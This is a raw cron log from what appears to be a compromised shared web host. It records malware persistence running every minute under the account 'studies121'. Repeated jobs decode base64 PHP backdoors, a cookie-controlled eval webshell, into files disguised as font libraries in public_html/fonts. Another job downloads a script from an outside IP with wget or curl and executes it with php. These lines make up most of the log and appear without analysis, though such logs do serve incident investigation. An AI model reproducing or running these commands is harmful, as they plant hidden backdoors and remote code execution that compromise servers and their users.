Sep  9 10:49:01 ip-184-168-122-23 CROND[803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:49:01 ip-184-168-122-23 CROND[805]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:49:01 ip-184-168-122-23 CROND[806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:50:01 ip-184-168-122-23 CROND[937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:50:01 ip-184-168-122-23 CROND[939]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:50:01 ip-184-168-122-23 CROND[940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:50:01 ip-184-168-122-23 CROND[948]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:50:01 ip-184-168-122-23 CROND[947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:50:01 ip-184-168-122-23 CROND[949]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:50:01 ip-184-168-122-23 CROND[950]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 10:50:01 ip-184-168-122-23 CROND[946]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 10:50:01 ip-184-168-122-23 CROND[956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:51:01 ip-184-168-122-23 CROND[1104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:51:01 ip-184-168-122-23 CROND[1107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:51:01 ip-184-168-122-23 CROND[1105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:51:01 ip-184-168-122-23 CROND[1109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:52:01 ip-184-168-122-23 CROND[1218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:52:01 ip-184-168-122-23 CROND[1223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:52:01 ip-184-168-122-23 CROND[1220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:52:01 ip-184-168-122-23 CROND[1221]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:52:01 ip-184-168-122-23 CROND[1222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:53:01 ip-184-168-122-23 CROND[1439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:53:01 ip-184-168-122-23 CROND[1441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:53:01 ip-184-168-122-23 CROND[1445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:53:01 ip-184-168-122-23 CROND[1444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:54:01 ip-184-168-122-23 CROND[1582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:54:01 ip-184-168-122-23 CROND[1581]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:54:01 ip-184-168-122-23 CROND[1583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:54:01 ip-184-168-122-23 CROND[1588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:54:01 ip-184-168-122-23 CROND[1586]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:55:01 ip-184-168-122-23 CROND[1742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:55:01 ip-184-168-122-23 CROND[1745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:55:01 ip-184-168-122-23 CROND[1744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:55:01 ip-184-168-122-23 CROND[1746]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:55:01 ip-184-168-122-23 CROND[1747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:55:01 ip-184-168-122-23 CROND[1748]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:56:01 ip-184-168-122-23 CROND[1838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:56:01 ip-184-168-122-23 CROND[1839]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:56:01 ip-184-168-122-23 CROND[1843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:56:01 ip-184-168-122-23 CROND[1842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:56:01 ip-184-168-122-23 CROND[1844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:57:01 ip-184-168-122-23 CROND[1943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:57:01 ip-184-168-122-23 CROND[1945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:57:01 ip-184-168-122-23 CROND[1947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:57:01 ip-184-168-122-23 CROND[1946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:58:01 ip-184-168-122-23 CROND[2075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:58:01 ip-184-168-122-23 CROND[2077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:58:01 ip-184-168-122-23 CROND[2078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:58:01 ip-184-168-122-23 CROND[2081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:58:01 ip-184-168-122-23 CROND[2079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:59:01 ip-184-168-122-23 CROND[2192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:59:01 ip-184-168-122-23 CROND[2193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:59:01 ip-184-168-122-23 CROND[2194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:59:01 ip-184-168-122-23 CROND[2196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:00:01 ip-184-168-122-23 CROND[2341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:00:01 ip-184-168-122-23 CROND[2345]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:00:01 ip-184-168-122-23 CROND[2347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:00:01 ip-184-168-122-23 CROND[2348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:00:01 ip-184-168-122-23 CROND[2350]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:00:01 ip-184-168-122-23 CROND[2349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 11:00:01 ip-184-168-122-23 CROND[2351]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 11:00:01 ip-184-168-122-23 CROND[2352]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 11:01:01 ip-184-168-122-23 CROND[2553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 11:01:01 ip-184-168-122-23 CROND[2555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:01:01 ip-184-168-122-23 CROND[2556]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
